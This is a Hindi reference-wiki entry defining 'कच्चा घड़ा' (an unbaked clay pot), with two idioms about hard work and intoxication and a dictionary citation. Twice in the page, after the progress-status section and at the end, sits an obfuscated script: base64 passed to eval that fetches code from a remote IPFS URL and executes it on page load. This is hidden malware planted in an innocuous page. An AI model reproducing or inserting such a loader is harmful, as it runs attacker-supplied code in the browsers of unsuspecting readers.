कच्चा घड़ा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कच्चा घड़ा - संज्ञा पुल्लिंग (हिन्दी कच्चा+घड़ा)[1]

1. वह घड़ा जो आवें में न पकाया गया हो।

मुहावरा-

  • 'कच्चे घड़े में पानी भरना' = अत्यंत कठिन काम करना।

2. घड़ा जो खूब पका न हो। सेवर घड़ा।

मुहावरा-

  • 'कच्चे घड़े की चढ़ना' = शराब या ताड़ी आदि को पीकर मतवाला होना। नशे में चूर होना। गहागड्ढ नशा चढ़ना। पागल होना। उन्मत्त होना। बहकना।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 740 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>